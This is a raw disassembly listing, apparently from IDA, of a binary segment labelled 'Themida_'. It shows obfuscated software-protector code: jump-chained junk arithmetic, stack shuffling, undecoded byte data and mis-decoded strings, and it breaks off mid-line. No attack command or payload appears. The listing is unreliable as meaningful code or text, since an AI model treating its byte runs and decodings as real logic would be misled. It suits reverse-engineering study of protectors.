--------------------------------------------------------------------------- loc_53B476: ; CODE XREF: Themida_:0053B89Fj mov edi, [esp] add esp, 4 sub ebx, 20506445h add ebx, edi add ebx, 20506445h add dword ptr [ebx], 1 mov ebx, [esp] jmp loc_5384DC ; --------------------------------------------------------------------------- loc_53B498: ; CODE XREF: Themida_:005355D9j pop edi pop dword ptr [esp] mov esp, [esp] mov [esp], ecx pop dword ptr [eax] jmp loc_535363 ; --------------------------------------------------------------------------- db 66h, 8Bh, 14h dd 18685324h, 51000016h, 0DEE9E189h, 53FFFFCEh, 4BBh, 0E9DF0100h dd 0FFFFEFBDh ; --------------------------------------------------------------------------- loc_53B4C8: ; CODE XREF: Themida_:0053989Aj mov [esp], ecx mov ecx, 2 jmp loc_53565B ; --------------------------------------------------------------------------- db 55h, 0E9h, 89h db 0EFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53B4DB: ; CODE XREF: Themida_:0053E902j push ecx mov ecx, 2000h push esi mov esi, esp add esi, 4 push edi mov edi, 42183396h shr edi, 2 xor edi, 10860CE1h sub esi, edi mov edi, [esp] add esp, 4 xchg esi, [esp] pop esp mov [esp], esi mov esi, ecx jmp loc_539342 ; --------------------------------------------------------------------------- db 89h dd 0C9B9240Ch, 810EE556h, 0B2F52EC1h, 0B4F2E905h db 2 dup(0FFh) word_53B522 dw 8B66h ; DATA XREF: Themida_:00535208o dd 0EC812404h, 4, 0FFE3B6E9h, 0C5015FFFh, 0A32E9h db 0 ; --------------------------------------------------------------------------- loc_53B539: ; CODE XREF: Themida_:00536682j shr ecx, 6 add ecx, 4F250056h jmp loc_5370B8 ; --------------------------------------------------------------------------- db 83h dd 348704C6h, 0C6815C24h, 4, 8B243487h, 91E92424h, 80000014h dd 0D800B7C3h, 81241C8Bh, 4C4h, 0E7A9E900h, 2489FFFFh dd 4B95124h, 1000000h, 5904244Ch, 40558h, 0E8830000h, 4EC8304h dd 54CBE9h, 24343300h, 33243431h, 0E95C2434h, 7DDh, 3E26BE56h dd 0F7567D5Ch, 555E2414h, 1560E9h, 4B95100h, 1000000h dd 1C3359CBh, 563BE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_53B5C2: ; CODE XREF: Themida_:0053C1F0j add edi, 4 jmp loc_537824 ; --------------------------------------------------------------------------- db 0BFh, 47h, 39h dd 8F680005h, 0E900006Ch, 4E79h, 0FF9D82E9h, 240C33FFh dd 33240C31h, 0CDE9240Ch, 5A00001Fh, 8B241C87h, 4892424h dd 9D65E924h, 0EEC1FFFFh, 14AAE907h, 0C4810000h, 4, 34FFEB21h dd 0F4CCE924h, 68FFFFh, 28000000h, 2C8A242Ch, 4C48324h dd 66E1E580h, 4EB652h, 0F730E9F5h, 5E53FFFFh, 5561E95Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_53B63A: ; CODE XREF: Themida_:0053AE40j pop esi push eax mov eax, 0BA156C2h dec eax jmp loc_538D16 ; --------------------------------------------------------------------------- db 81h dd 75C709C5h, 5DE801BDh, 0C3E9F801h db 0EBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53B657: ; CODE XREF: Themida_:00537BE4j push ecx mov ecx, 4 sub ebp, ecx pop ecx xchg ebp, [esp] mov esp, [esp] mov [esp], esi jmp loc_5388AE ; --------------------------------------------------------------------------- dw 815Ch dd 4C5h, 0D654E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53B67A: ; CODE XREF: Themida_:0053CA23j pop eax push ecx push esp pop ecx add ecx, 4 push edi mov edi, 6C6C713Ah add edi, 7288748Fh jmp loc_53E0C1 ; --------------------------------------------------------------------------- db 0FFh, 74h, 24h dd 0F7EFE904h, 1487FFFFh, 24248B24h, 0FF2434FFh, 81582434h dd 4C4h, 19756800h, 0C890000h, 83E18924h, 1C8904ECh, 3AB85024h dd 520E829h, 1E6958ACh, 0CC702E35h, 0F9FE963h db 2 dup(0) ; --------------------------------------------------------------------------- loc_53B6D6: ; CODE XREF: Themida_:00536699j add esp, 4 sub edi, 7E8632A0h jmp loc_536C38 ; --------------------------------------------------------------------------- loc_53B6E4: ; CODE XREF: Themida_:00538486j sub edi, 4E946B40h add edi, ebx add edi, 4E946B40h pop ebx xor edi, 715024EBh push 1528h jmp loc_541264 ; --------------------------------------------------------------------------- loc_53B703: ; CODE XREF: Themida_:00538CA7j add ebp, 37364150h mov ebx, [esp] add esp, 4 sub esp, 4 mov [esp], ebp jmp loc_541770 ; --------------------------------------------------------------------------- dw 0C083h dd 496BE904h, 1C890000h, 0AE95424h, 5600003Dh, 0C681E689h dd 4, 0E904C683h, 3AA5h ; --------------------------------------------------------------------------- loc_53B73C: ; CODE XREF: Themida_:005357ACj shr esi, 4 neg esi jmp loc_53BEE7 ; --------------------------------------------------------------------------- dw 0C281h dd 49527A54h, 0F5D0E957h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53B752: ; CODE XREF: Themida_:0053FE0Aj sub ebp, ebx pop ebx jmp loc_53A4FD ; --------------------------------------------------------------------------- dw 248Bh dd 0E7895724h, 0E904EC83h, 0FFFFC992h, 4C1815Ch, 55000000h dd 562BE9h db 0 byte_53B775 db 0ADh, 55h, 0BDh ; DATA XREF: Themida_:00535200o dd 7E3779F5h, 3634E9h, 24348900h, 3D04E953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_53B78A: ; CODE XREF: Themida_:0053C53Fj xchg edx, [esp] jmp loc_536E25 ; --------------------------------------------------------------------------- dw 0FA21h dd 0FFE8BBE9h, 0E95658FFh, 1893h, 315EF129h, 240C8BC8h dd 4C481h, 0C3310000h, 2708EA81h, 0C281139Bh, 76DF02F5h dd 4EC81h, 4890000h, 41AAB824h, 0E95356FFh, 0FFFFB9D6h dd 0C141D1F7h, 2BE908E9h, 5000000h, 4, 33668h, 24348900h dd 4BEh, 8BF00100h, 0C4812434h, 4, 31240433h, 4332404h dd 0FA6DE924h, 0E1C1FFFFh, 13C18105h, 890CBB34h, 0CB8159CBh dd 551152DDh, 73DB68h, 24048900h, 1822B951h, 0C181267Ah dd 192E202Eh, 8105E1C1h, 110FE6C1h, 41D1F758h, 6F1BF181h dd 0C8893823h, 83240C8Bh, 0B85004C4h, 57B76342h, 0E9D8F740h dd 31E7h ; --------------------------------------------------------------------------- loc_53B854: ; CODE XREF: Themida_:00537FADj mov edi, [esp] add esp, 4 add edi, 1C8403FBh jmp loc_5369F0 ; --------------------------------------------------------------------------- byte_53B865 db 66h, 8Bh, 4 ; DATA XREF: Themida_:0053512Co dd 0E7895724h, 4C781h, 0BB530000h, 6C1947C4h, 276BE9h dd 58ED8100h, 81759669h, 617C3CC5h, 0BCE9523Bh, 50FFFFCFh dd 0E00EFCB8h, 0D767E92Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53B89A: ; CODE XREF: Themida_:0053A3F1j mov ebp, edi mov ebx, ebp pop ebp jmp loc_53B476 ; --------------------------------------------------------------------------- dd 89241C89h, 2DFBE9E3h, 88530000h, 3AE951E3h db 0A1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53B8B7: ; CODE XREF: Themida_:0053C75Aj pop edi push edi push ebp push dword ptr [esp+4] mov ebp, [esp] add esp, 4 pop dword ptr [esp] jmp loc_539C64 ; --------------------------------------------------------------------------- dd 387172BEh, 0F7DE871Dh, 51DE87DBh, 965B71B9h, 0E9D9F71Bh dd 0FFFFB6D1h ; --------------------------------------------------------------------------- loc_53B8E4: ; CODE XREF: Themida_:0053634Dj xor esi, [esp] pop esp push ecx mov cl, 34h push ebx mov bh, 8Dh inc bh jmp loc_536AF1 ; --------------------------------------------------------------------------- loc_53B8F5: ; CODE XREF: Themida_:005360B0j xor eax, ecx mov ecx, [esp] add esp, 4 sub esp, 4 jmp loc_54160D ; --------------------------------------------------------------------------- loc_53B908: ; CODE XREF: Themida_:00539707j add eax, esi add eax, 7E611055h pop esi jmp loc_53DC16 ; --------------------------------------------------------------------------- db 29h, 0DDh, 5Bh dd 0FFFBB8E9h db 0FFh ; --------------------------------------------------------------------------- loc_53B91D: ; CODE XREF: Themida_:0053F082j mov edi, esp add edi, 4 sub edi, 4 jmp loc_540B20 ; --------------------------------------------------------------------------- byte_53B92D db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:005351B8o dd 0E0895024h, 405h, 4E88300h, 5C240487h, 83241489h, 4AE904ECh dd 2C000052h, 0E3686677h, 5006E92Dh, 0EB810000h, 4CC1985Ch dd 515BD801h, 2B9h, 59C80100h, 4EC81h, 4890000h, 2474FF24h dd 24048B04h, 0E9E28952h, 5C68h, 6824048Bh, 67DAh, 68242C89h dd 924h, 81242489h, 42404h, 535D0000h, 0D97459BBh, 0CB814B40h dd 41BE33F5h, 77F9EB81h, 0D9E941FFh, 0FFFFFFF9h, 2C8B2434h dd 0C3E95724h, 6600000Bh, 0E9240C89h, 0FFFF999Bh ; --------------------------------------------------------------------------- loc_53B9C8: ; CODE XREF: Themida_:00538DF6j xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] jmp loc_53F9F9 ; --------------------------------------------------------------------------- a3Sx db '3,$éX&',0 dd 4EC8300h, 0E9241489h, 0FFFFC32Bh, 525F5457h, 8B3450BAh dd 97EA8173h, 81694B13h, 142160EAh, 3CF28176h, 81707737h dd 0DB4860CAh, 0F2814A7Bh, 0FFDFC860h, 815AD701h, 4C7h dd 243C8700h, 0E924248Bh, 20E6h ; --------------------------------------------------------------------------- loc_53BA28: ; CODE XREF: Themida_:00537913j mov ebx, 7C92222h xor edi, ebx jmp loc_53FA8E ; --------------------------------------------------------------------------- dd 87EB875Bh, 0FD8747FDh, 124E9h, 80C68100h, 21F287F1h dd 3BE95EF0h, 54FFFFF2h, 6E9D685Bh, 3C890000h, 4BF24h dd 0FB010000h, 8B2434FFh, 0C483243Ch byte_53BA68 db 4 ; DATA XREF: Themida_:0053F72Eo ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_53A316 ; --------------------------------------------------------------------------- db 66h dd 9C240421h, 0FF98E2E9h db 0FFh ; --------------------------------------------------------------------------- loc_53BA81: ; CODE XREF: Themida_:0053F621j sub dh, cl add dh, 87h mov ecx, [esp] jmp loc_53AE6E ; --------------------------------------------------------------------------- dw 1C89h dd 50EBB724h, 0E73054B4h, 0F31CE958h, 0B8FFFFh, 1000000h dd 0E95153C8h, 2B63h ; --------------------------------------------------------------------------- loc_53BAAC: ; CODE XREF: Themida_:005380CFj pop eax push edx mov edx, 2 add ebp, edx jmp loc_53EBC0 ; --------------------------------------------------------------------------- loc_53BABA: ; CODE XREF: Themida_:005415AFj mov edi, 4 jmp loc_53B09A ; --------------------------------------------------------------------------- loc_53BAC4: ; CODE XREF: Themida_:00537D2Aj sub edi, 6C422CCh xor edi, 2EDDCCBEh jmp loc_540BB8 ; --------------------------------------------------------------------------- loc_53BAD5: ; CODE XREF: Themida_:00537F37j sub esi, 4 xchg esi, [esp] pop esp jmp loc_53FD4A ; --------------------------------------------------------------------------- db 81h, 0F3h, 4Fh dd 81661C43h, 2776DAEBh, 70EB817Ah, 8106BF03h, 0E2E949C3h dd 0E9DD2177h, 0FFFFAC17h, 0E9C3015Dh, 0FFFFC198h, 4246C81h dd 34A7054h, 4244401h, 4244481h, 34A7054h, 0FFC54CE9h db 0FFh ; --------------------------------------------------------------------------- loc_53BB21: ; CODE XREF: Themida_:00535C43j push eax mov eax, 7DAA7D3Ah jmp loc_537988 ; --------------------------------------------------------------------------- aZs db 'ZéÔ ',0 align 2 a34LS0 db '34$‹$$éÔ0',0 dd 0D1C20900h, 2663E9E2h db 2 dup(0) ; --------------------------------------------------------------------------- loc_53BB46: ; CODE XREF: Themida_:0053779Bj add esi, 4 jmp loc_53CCF0 ; --------------------------------------------------------------------------- db 81h, 0F5h, 96h dd 892A150Ah, 4C015DE9h, 5E590424h, 3EE9E9h, 31EB3100h dd 0A4ECE9DDh, 0E089FFFFh, 405h, 55D4E900h, 0D0010000h dd 28166005h, 2434FF4Ah, 2ABE95Ah, 0B5BA0000h, 1DFE79Eh dd 61E95AD6h, 89000011h, 0B24E9E6h, 87590000h, 248B2404h dd 1AFEE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_53BBAA: ; CODE XREF: Themida_:0053D02Ej push edx jmp loc_53615A ; --------------------------------------------------------------------------- dd 0A234E945h db 2 dup(0FFh), 5Dh ; --------------------------------------------------------------------------- push ebp mov ebp, esp push eax mov eax, 44EB1121h jmp loc_539F9B ; --------------------------------------------------------------------------- loc_53BBC5: ; CODE XREF: Themida_:00539273j pop ebx xchg edx, [esp] pop esp loc_53BBCA: ; CODE XREF: Themida_:0053B35Fj push 7483h mov [esp], ebx jmp loc_53855F ; --------------------------------------------------------------------------- aUssc db 'USéC',8,0 db 2 dup(0), 0C5h dd 8B99ED80h, 0C4832404h, 0E9E82804h, 0FFFFDA1Fh, 0FDC9E95Ch dd 0F501FFFFh, 242C875Eh, 28E9E9h, 51535A00h, 0EB88EFB5h dd 0FFEC54E9h db 0FFh ; --------------------------------------------------------------------------- loc_53BC0D: ; CODE XREF: Themida_:0053EDBFj sub esp, 4 mov [esp], ecx mov ch, 0ABh sub ch, 68h jmp loc_53C63D ; --------------------------------------------------------------------------- byte_53BC1D db 0ACh, 2Ch, 0EFh ; DATA XREF: Themida_:00535128o dd 0D8000C2Ch, 617C68h, 11DFE900h, 0B9510000h, 30EC3E9Dh dd 0E959CD01h, 0FFFFF4F1h, 0D0F6F42Ch, 0C5880534h, 0E9DD2858h dd 4DE2h, 33240431h, 248B2404h, 2B136824h, 1C890000h, 14ECE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_53BC62: ; CODE XREF: Themida_:00539E4Cj add edi, 4 xchg edi, [esp] pop esp push 6BD9h mov [esp], edx jmp loc_53BE8F ; --------------------------------------------------------------------------- dw 0F700h dd 1424E9h, 96E1E900h, 4FB9FFFFh, 29C70E94h, 0D50159CAh dd 5A2434FFh, 7C9F68h, 240C8900h, 25E9E189h, 8100002Eh dd 5E4C38EBh, 24048B1Ah, 4C481h, 0B0E90000h, 89FFFF96h dd 9682424h, 8900000Bh, 71B82404h, 0F73A161Bh, 8ABE56D0h dd 29C5E9E4h, 0B8505EF0h, 12FF22D3h, 0FFAE2AE9h, 0CB814BFFh dd 79802631h, 0FFBC87E9h, 48F58FFh, 87355C24h, 5617033Ch dd 0CA1AE2BEh, 12E6814Ah, 872CA53Dh, 87D1F7CEh, 4AD5E9CEh dd 315F0000h, 0BA525BDFh, 1D915299h, 0FFBD54E9h, 2C483FFh dd 507DB252h, 0FFB3B7E9h, 8BD101FFh, 0C4812414h, 4, 0E959C801h dd 0FFFFB122h, 4C181h, 0E9810000h, 4, 5C240C87h, 0E9240489h dd 0FFFFE522h, 4BF57h, 1A050000h, 14A3523h, 231A2DF8h dd 525F4A35h, 0D92CDBBAh, 0B1CA8177h, 0E95BC02Eh, 0C1Ch dd 4BEh, 5EF10100h, 0FFF864E9h, 241489FFh, 0C281E289h dd 4, 7B9868h, 24048900h, 0FFEAD8E9h, 0E95D54FFh, 57DEh dd 7C1468h, 242C8900h, 42474FFh, 0E943E95Dh, 8953FFFFh dd 4C381E3h, 0E9000000h, 2AB5h, 0E7F380h, 0EB005BDDh, 55B55159h dd 0C8BEB28h, 4C48324h, 815A5452h, 4C2h, 4EA8100h, 0E9000000h dd 0FFFFA42Fh ; --------------------------------------------------------------------------- loc_53BDE4: ; CODE XREF: Themida_:005361B5j push esi jmp loc_541351 ; --------------------------------------------------------------------------- dw 0E953h dd 0FFFFB295h, 51C0B050h, 306FE9h, 0E6895600h, 4C681h dd 0EE830000h, 24348704h, 2404895Ch, 88E9C4B4h, 0FFFFFFC8h dd 8B042474h, 0DFE92414h, 0BEFFFFA3h, 4D272CE7h, 2FC168h dd 24348900h, 5E2414F7h, 2629E9h, 4C48100h, 0E9000000h dd 1F28h ; --------------------------------------------------------------------------- loc_53BE40: ; CODE XREF: Themida_:0053E60Aj sub dword ptr [esp+4], 79810F4Bh sub dword ptr [esp+4], 107B4B78h jmp loc_5404D4 ; --------------------------------------------------------------------------- db 0B8h, 4, 0 dd 0E9810000h, 5053219Fh, 0C181C101h, 5053219Fh, 8124048Bh dd 4C4h, 2BB5300h, 81000000h, 8E010EE9h, 0E9D92957h, 5529h dd 21BB6855h, 0FFE959E0h db 19h, 2 dup(0) ; --------------------------------------------------------------------------- loc_53BE8F: ; CODE XREF: Themida_:0053BC71j mov edx, esp add edx, 4 push edi mov edi, 4 add edx, edi mov edi, [esp] push ebx mov ebx, esp add ebx, 4 jmp loc_536F0C ; --------------------------------------------------------------------------- dd 2474FF56h, 48F5E04h, 24248B24h, 243CD366h, 19FDE99Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_53BEC6: ; CODE XREF: Themida_:0053D1BFj mov [esp], ebp push edx mov edx, 0D8B2D03h push ecx jmp loc_5399A7 ; --------------------------------------------------------------------------- db 53h, 0BBh, 34h dd 816B2625h, 0D9DAD0C3h, 16E95794h db 0D6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53BEE7: ; CODE XREF: Themida_:0053B741j and esi, 245A2AA0h sub esi, 0EE608E2h add ebx, esi pop esi jmp loc_53915D ; --------------------------------------------------------------------------- db 5Dh dd 0BD7EE81h, 43E92C9Ch, 0BF00000Ch, 15B66B64h, 3D2FE9h dd 8BF03100h, 26E92434h db 3, 2 dup(0) ; --------------------------------------------------------------------------- loc_53BF1B: ; CODE XREF: Themida_:0053FD5Bj shl edi, 4 push edx mov edx, 75BB7803h jmp loc_53EC29 ; --------------------------------------------------------------------------- align 2 aCs9 db 'çé=9',0 align 10h dd 4631BB53h, 0E9557A89h, 3FF0h, 0C281DAF7h, 6C527C86h dd 335AD001h, 4312404h, 24043324h, 6624248Bh, 52C8BE0Fh dd 0BE56E289h, 2F20649Ch, 22B8CE81h, 0B7E96870h, 58FFFFDCh dd 4ED81h, 2C870000h, 3295E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_53BF7A: ; CODE XREF: Themida_:00536BD9j add edx, 4 push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] pop esp xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] jmp loc_5403B2 ; --------------------------------------------------------------------------- byte_53BF9B db 0ADh ; DATA XREF: Themida_:005350FCo dd 0AD68D831h, 89000006h, 1BE9243Ch, 5500004Fh, 3E5EE9h dd 241C8700h, 0E924248Bh, 0FFFFC001h, 81E38953h, 4C3h dd 4EB8100h, 0E9000000h, 520Bh ; --------------------------------------------------------------------------- loc_53BFD0: ; CODE XREF: Themida_:0053E155j push ecx jmp loc_54011B ; --------------------------------------------------------------------------- dw 0FA01h dd offset dword_50BC48+1A1h dd 6F685E00h, 8900003Ch, 0D589242Ch, 242C8155h, 7CC93225h dd 25C18159h, 5D7CC932h, 5A2434FFh, 902E9h, 0E9E78900h dd 3785h, 0FDFBF781h, 0AF0500EFh, 17AEC6Eh, 0B283E9F8h dd 0FA01FFFFh, 2414335Fh, 0FFC3D6E9h, 0BABA52FFh, 810E9214h dd 3261BDC2h, 0EE1EE902h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53C036: ; CODE XREF: Themida_:0053EB43j shl ebp, 3 add ebp, 1 xor ebp, edx xor edx, ebp xor ebp, edx neg edx xor ebp, edx xor edx, ebp jmp loc_54072E ; --------------------------------------------------------------------------- dd 4123C781h, 1C8B0CF3h, 4C48324h, 8B243C87h, 0F9F72424h dd 275B68h, 240C8900h, 8904EC83h, 0E6E92424h, 83FFFFCEh dd 0BF5704C4h, 36FC7FF2h, 77ACC781h, 0EF812519h, 4D481EFEh dd 3CE9DFF7h, 5DFFFFC1h, 50A3E9h db 0 ; --------------------------------------------------------------------------- loc_53C099: ; CODE XREF: Themida_:0053EB09j add ebx, 4 xchg ebx, [esp] pop esp or edx, eax shl edx, 1 push ebx push edi mov edi, 31D46435h dec edi dec edi shl edi, 4 add edi, 5AB35E47h jmp loc_5410E7 ; --------------------------------------------------------------------------- db 52h dd 0E02652BAh, 0B850420Ch, 647501DBh, 48BC229h, 4C48324h dd 27F3CA81h, 0F281296Bh, 40E97619h, 15A6E281h, 0C281781Eh dd 97FDEE62h, 1C61E9h, 0E5686600h, 0BDC1E972h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53C0F6: ; CODE XREF: Themida_:0053A31Fj pop esp add ebx, 4 xor ebx, [esp] jmp loc_53F22C ; --------------------------------------------------------------------------- aUs0 db 'Ué',0Ah db '0',0 align 4 dd 0BA241489h, 0D292B3Fh, 0EA81D2F7h, 535A78F9h, 8106E2C1h dd 83476EAh, 1C2837Fh, 22AC6857h, 0D3E91DAFh, 4000003Ah dd 0CE05D0F7h, 298244A9h, 0D2E958C6h db 0FDh, 2 dup(0FFh) byte_53C13F db 66h ; DATA XREF: Themida_:00535234o dd 5524048Bh, 3FA4E954h, 895C0000h, 4812424h, 424h, 242C8B00h dd 4C481h, 0A0E90000h, 54FFFFC6h, 0B951565Ah, 0E8F38C0h dd 0EF42BB53h, 0DE890A1Ch, 59CE015Bh, 5D9BB951h, 0E1C169A9h dd 81D9F708h, 803166E9h, 0E9CE2141h, 0FFFFD4B2h, 0BD555E54h dd 4, 0E95DEE01h, 0FFFFC727h, 0E9240489h, 0FFFF91BBh, 0E9243C87h dd 0FFFF9BFAh, 4CA9EF81h, 0C70124E1h, 4CA9C781h, 0F7E924E1h db 0E2h, 2 dup(0FFh) byte_53C1C3 db 0FFh ; DATA XREF: Themida_:005351A4o dd 669D1C77h, 2414D259h, 9191E99Ch db 2 dup(0FFh) word_53C1D2 dw 0DB68h ; DATA XREF: Themida_:005352E8o dd 89000019h, 2BB241Ch, 81023819h, 4ECh, 491FE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_53C1EA: ; CODE XREF: Themida_:0053635Ej pop esp mov [esp], edi mov edi, esp jmp loc_53B5C2 ; --------------------------------------------------------------------------- db 59h, 53h, 0BBh dd 74986C92h, 1C8BD829h, 4C48124h, 1000000h, 6C9205F8h dd 772D7498h, 51E9559h, 771F469Ah, 0E92434FFh, 384Fh, 4EC81h dd 1C890000h, 4EC8324h, 0E9241489h, 0FFFFCF74h, 0E828E02Ch dd 5966E004h, 228E9h, 4C48300h, 452D68h, 24148900h, 0D37F36BAh dd 96C2810Dh, 810CFE5Ah, 5C2136EAh, 0DB23E96Ch, 0C781FFFFh dd 4, 0A396E956h, 1C87FFFFh, 4095C24h, 0E8E99C24h, 89FFFF90h dd 4C281E2h, 57000000h, 62315EBFh, 0BBBEE92Eh, 815FFFFFh dd 361611CEh, 59EE815Fh, 0E95F7613h, 0FFFFD1E4h ; --------------------------------------------------------------------------- loc_53C2A0: ; CODE XREF: Themida_:0053D427j add bl, ah pop eax and bl, 1 add bl, 0E0h jmp loc_5362E2 ; --------------------------------------------------------------------------- loc_53C2AE: ; CODE XREF: Themida_:005402BAj push dword ptr [esp] pop edx jmp loc_53A670 ; --------------------------------------------------------------------------- db 57h dd 4A57D4BFh, 0C45CE94Fh, 3489FFFFh, 2474FF24h, 24348B04h dd 4C481h, 48F0000h, 24248B24h, 9C2424D3h, 0FF9082E9h dd 81FA01FFh, 807AA4EAh, 0C2835F46h, 24148702h, 2404005Ch dd 9069E99Ch, 48FFFFFh, 4315624h, 24043324h, 50240431h dd 582414F7h, 8B240487h, 89512434h, 4C181E1h, 0E9000000h dd 0FFFFDC6Ah, 0B951E689h, 4, 1AD4C681h, 2DE9039Dh, 0F7FFFFA2h dd 0AF8E9DBh db 2 dup(0) ; --------------------------------------------------------------------------- loc_53C33A: ; CODE XREF: Themida_:0053C8C5j xor edi, 5908D71Dh add esi, edi pop edi shl esi, 6 or esi, 45383FF2h push ebx mov ebx, 0 sub ebx, esi xchg ebx, esi pop ebx neg esi sub esi, 0C5393FEEh add eax, esi pop esi jmp loc_53EA2D ; --------------------------------------------------------------------------- db 81h dd 3948ACEEh, 81EE0156h, 3948ACC6h, 0BB535D56h, 3E25877h dd 3EE7C381h, 0DFE95955h, 5100003Bh, 0FFF8F5E9h, 57D829FFh dd 0FFF20BE9h, 240C89FFh, 0FF8FC6E9h db 0FFh ; --------------------------------------------------------------------------- loc_53C39D: ; CODE XREF: Themida_:0053A292j mov al, 83h add bl, al pop ax sub bl, 66h push 66A5h mov [esp], ecx mov cl, 7 xor cl, 1Ch add cl, 74h shr cl, 1 push eax mov al, 7 sub cl, al pop eax sub bl, cl pop ecx sub bl, al add bl, 40h add bl, 66h push eax mov al, 0E4h shl al, 4 jmp loc_53EDBD ; --------------------------------------------------------------------------- dd 4EC81h, 0FEE90000h, 87000006h, 248B243Ch, 0EC79E924h dd 0C180FFFFh, 80F9283Ah, 0FE93AE9h db 45h, 2 dup(0) ; --------------------------------------------------------------------------- loc_53C3F7: ; CODE XREF: Themida_:0053680Dj inc eax jmp loc_535B3A ; --------------------------------------------------------------------------- db 89h, 0E3h, 83h dd 7AE904ECh db 0F3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53C407: ; CODE XREF: Themida_:0053883Dj mov ebp, 3D7C3230h jmp loc_540D77 ; --------------------------------------------------------------------------- db 8, 4, 24h dd 8F49E99Ch, 0D7F7FFFFh, 3A97E9h, 5AE76800h, 0E95B34F1h dd 9AEh, 0CC198568h, 5CE95B74h, 47FFFFABh, 0FF9251E9h dd 0BBB850FFh, 25341725h, 10D77F0Bh, 0E94C252Dh, 8E8C14Bh dd 0AF14EF35h, 58C58948h, 6352ED81h, 0BB536C90h, 3398450Fh dd 0FFF678E9h, 0FFC300FFh, 18E92434h, 89FFFF9Fh, 0E95758C6h dd 0FFFFBDFBh, 8324148Bh, 0CC2804C4h, 0E2885259h, 88D38853h dd 0E95A5BD9h, 0FFFFCB3Eh ; --------------------------------------------------------------------------- loc_53C494: ; CODE XREF: Themida_:0053F40Aj pop esi pop dword ptr [esp] pop esp jmp loc_53A63E ; --------------------------------------------------------------------------- dw 8359h dd 3C8704C7h, 0F1215C24h, 0E92434FFh, 0FFFFBEC7h, 1463C781h dd 0FB89CD96h, 0FFF849E9h, 4C483FFh, 4C581h, 42680000h dd 89000002h, 74FF242Ch, 8F5D0424h, 0C6E92404h, 53FFFFA9h dd 8965E1BBh, 2E92E902h db 2 dup(0) ; --------------------------------------------------------------------------- loc_53C4E6: ; CODE XREF: Themida_:005384FAj mov ebx, 4 add ebp, ebx pop ebx xchg ebp, [esp] pop esp jmp loc_5406A0 ; --------------------------------------------------------------------------- loc_53C4F7: ; CODE XREF: Themida_:00535413j pop eax push ebx push esp pop ebx add ebx, 4 push eax mov eax, 4 jmp loc_53DDE6 ; --------------------------------------------------------------------------- dd 1E28ECBDh, 2EDC17Fh, 4505E5C1h, 0ED81D5F7h, 26C1069Ah dd 0B200ED81h, 0EB01E04Dh, 0FF95FBE9h, 8E31E9FFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53C532: ; CODE XREF: Themida_:0053FD96j mov eax, 7F027877h xor eax, 7F027873h add edx, eax pop eax jmp loc_53B78A ; --------------------------------------------------------------------------- dd 0AE67B6BDh, 1C5836Ah, 984DC581h, 0C6819551h, 6FD7045Ah dd 0EE81EE01h, 6FD7045Ah, 2434875Dh, 5124248Bh, 3776DAB9h dd 4EC817Ah, 0E9000000h, 0FFFFDBA7h, 4BB368h, 0DAEFE900h dd 0E789FFFFh, 3E84BD55h, 0DDF762DBh, 3CEFC581h, 0DDF75F08h dd 92ED8145h, 103D301h, 0C7835DEFh, 243C8704h, 8124248Bh dd 4ECh, 242C8900h, 0C581E589h, 4, 4C581h, 0EC830000h dd 242C8904h, 0FFD9E7E9h db 0FFh byte_53C5C9 db 0FFh, 77h, 40h ; DATA XREF: Themida_:005350C8o dd 0FF8D92E9h, 4C483FFh, 17B9CF81h, 0EC835F8Ch, 24148904h dd 0FFA0A2E9h, 5DE889FFh, 0D53A6235h, 6770057Ah, 3A055F02h dd 2D03E83Dh, 6E2002EBh, 8158C301h, 4C3h, 241C8700h, 0E924248Bh dd 0FFFFBC31h, 0E60055B6h, 0A2EE8058h, 0F680D6F6h, 9C16E9B8h dd 0B02DFFFFh, 0E966FE37h, 4D9Dh, 89240C89h, 4C181E1h dd 55000000h, 0FF90FAE9h db 0FFh ; --------------------------------------------------------------------------- loc_53C63D: ; CODE XREF: Themida_:0053BC18j xor al, ch pop ecx jmp loc_5356B4 ; --------------------------------------------------------------------------- db 0C0h, 0EEh, 3 dd 0FE07E6C0h, 68EE80C6h, 0E680DEF6h, 0D175E90Fh, 1C8BFFFFh dd 0E0895024h, 162468h, 241C8900h, 0FFFC4AE9h, 9AF180FFh dd 0FFB5F8E9h, 0F1C42DFFh, 0C3895C9Dh, 8BD90158h, 0C481241Ch dd 4, 3304C183h, 0C31240Ch, 240C3324h, 0F24248Bh, 4A68C8B6h dd 0E9000057h, 0FFFFFCF1h ; --------------------------------------------------------------------------- loc_53C6A4: ; CODE XREF: Themida_:00536E20j not ebx xchg ebx, ecx or ecx, 33490013h xor ecx, 0B7C199DCh xor eax, ecx pop ecx sub ebx, 67F16E4Dh jmp loc_53557C ; --------------------------------------------------------------------------- dw 0C681h dd 4, 0BDA3E957h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53C6CE: ; CODE XREF: Themida_:00541608j push dword ptr [esp] pop ecx add esp, 4 jmp loc_5386F9 ; --------------------------------------------------------------------------- loc_53C6DD: ; CODE XREF: Themida_:00539668j mov esi, 0FFFFFFFFh sub [edi+24h], esi mov esi, [esp] push edx sub esp, 4 mov [esp], esp jmp loc_5402B3 ; --------------------------------------------------------------------------- dd 0EBEBF57h, 0F7811323h, 790E72BCh, 2D5FF829h, 68C74E5Ah dd 0ADE95057h, 